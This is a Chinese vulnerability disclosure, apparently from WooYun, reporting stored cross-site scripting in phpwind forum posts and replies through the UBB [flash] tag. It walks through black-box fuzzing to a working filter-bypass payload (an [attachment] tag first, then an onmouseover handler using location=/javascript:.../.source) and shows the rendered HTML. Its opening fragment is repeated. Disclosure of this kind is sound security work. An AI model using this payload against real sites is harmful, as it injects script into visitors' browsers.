### 简要描述: 没有阅读你们的代码,没有华丽的代码分析。只是黑盒测试…… ### 详细说明: 代码编写不当导致phpwind发帖和回复功能均可以由攻击者植入恶意的js代码进而进行跨站脚本攻击。下面附上测试步骤,已便乌云重现和官方修复: 注册账号,在任意板块进行发帖(切换到代码模式方便测试) 测试输入1: ``` [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash] ``` 测试输出1: ``` <object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" id="jp_audio_container_0" style="" height="400" width="480"><param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf"><param name="allowFullScreen" value="true"><param name="autostart" value="true"><param name="loop" value="true"><param name="allownetworking" value="internal"><param name="allowscriptaccess" value="never"><param name="quality" value="high"><param name="wmode" value="transparent"><div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div> </object> ``` 确定输出点后,尝试在flash的url中加入双引号跳出value=""和data=""。 测试输入2: ```...
### 简要描述: 没有阅读你们的代码,没有华丽的代码分析。只是黑盒测试…… ### 详细说明: 代码编写不当导致phpwind发帖和回复功能均可以由攻击者植入恶意的js代码进而进行跨站脚本攻击。下面附上测试步骤,已便乌云重现和官方修复: 注册账号,在任意板块进行发帖(切换到代码模式方便测试) 测试输入1: ``` [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash] ``` 测试输出1: ``` <object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" id="jp_audio_container_0" style="" height="400" width="480"><param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf"><param name="allowFullScreen" value="true"><param name="autostart" value="true"><param name="loop" value="true"><param name="allownetworking" value="internal"><param name="allowscriptaccess" value="never"><param name="quality" value="high"><param name="wmode" value="transparent"><div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div> </object> ``` 确定输出点后,尝试在flash的url中加入双引号跳出value=""和data=""。 测试输入2: ``` [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash] ``` 测试输出2: ``` [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash] ``` 发现URL中出现双引号时UBB CODE不会被转换成HTML CODE.但经过小的fuzzing后,发现当 ``` [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash] ``` 之前出现UBB代码 ``` [attachment=8] ``` 时(点上传附件按钮,上传任何一种允许的文件类型。上传成功成功后点击插入即可),情况就会有所转变。在这种情况下我们在[flash][/flash]中插入的双引号可以帮助我们跳出value=""和data=""。当然还有一些其它蛋疼的限制…… 测试输入3: ``` [attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash] ``` 测试输出3: ``` [attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash] ``` 当恶意脚本包含"()"时UBBCODE又一次没有被转换成HTML代码。蛋蛋的忧伤…… 经过一系列fuzz之后,发现: ``` 1.一旦出现(或)UBB CODE就不会被转换成HTML CODE 2.所有的单引号,双引号,尖括号后面都会被加上%3b 3.&会被替换成HTMLEntity也就是& ``` 这样一来开新标签是不可能了,使用编码也是不可能了,所以机智的我……还是搞定了。 最终测试输入: [attachment=999][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=location=/javascript:alert%28%29/.source qq[/flash] 最终测试输出: ``` <object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"="" id="jp_audio_container_0" style="" height="1080" width="1920"><param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"=""><param name="allowFullScreen" value="true"><param name="autostart" value="true"><param name="loop" value="true"><param name="allownetworking" value="internal"><param name="allowscriptaccess" value="never"><param name="quality" value="high"><param name="wmode" value="transparent"><div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div> </object> ``` 就这样搞定了……因为flash的高宽值都可控,所以基本上小移动一下鼠标就中招了。 ### 漏洞证明: 攻击者植入恶意代码,并发帖(也可以是回复 一样的嘛): [<img src="https://images.seebug.org/upload/201406/0502232240c9579c8e34ba75945a5922d994ed8a.png" alt="2133.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0502232240c9579c8e34ba75945a5922d994ed8a.png) 受害者打开被植入恶意代码的帖子时会遭受跨站脚本攻击: [<img src="https://images.seebug.org/upload/201406/05022425c7c80c0f1ca03625ce5135bdfa8d0f93.png" alt="2134.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/05022425c7c80c0f1ca03625ce5135bdfa8d0f93.png)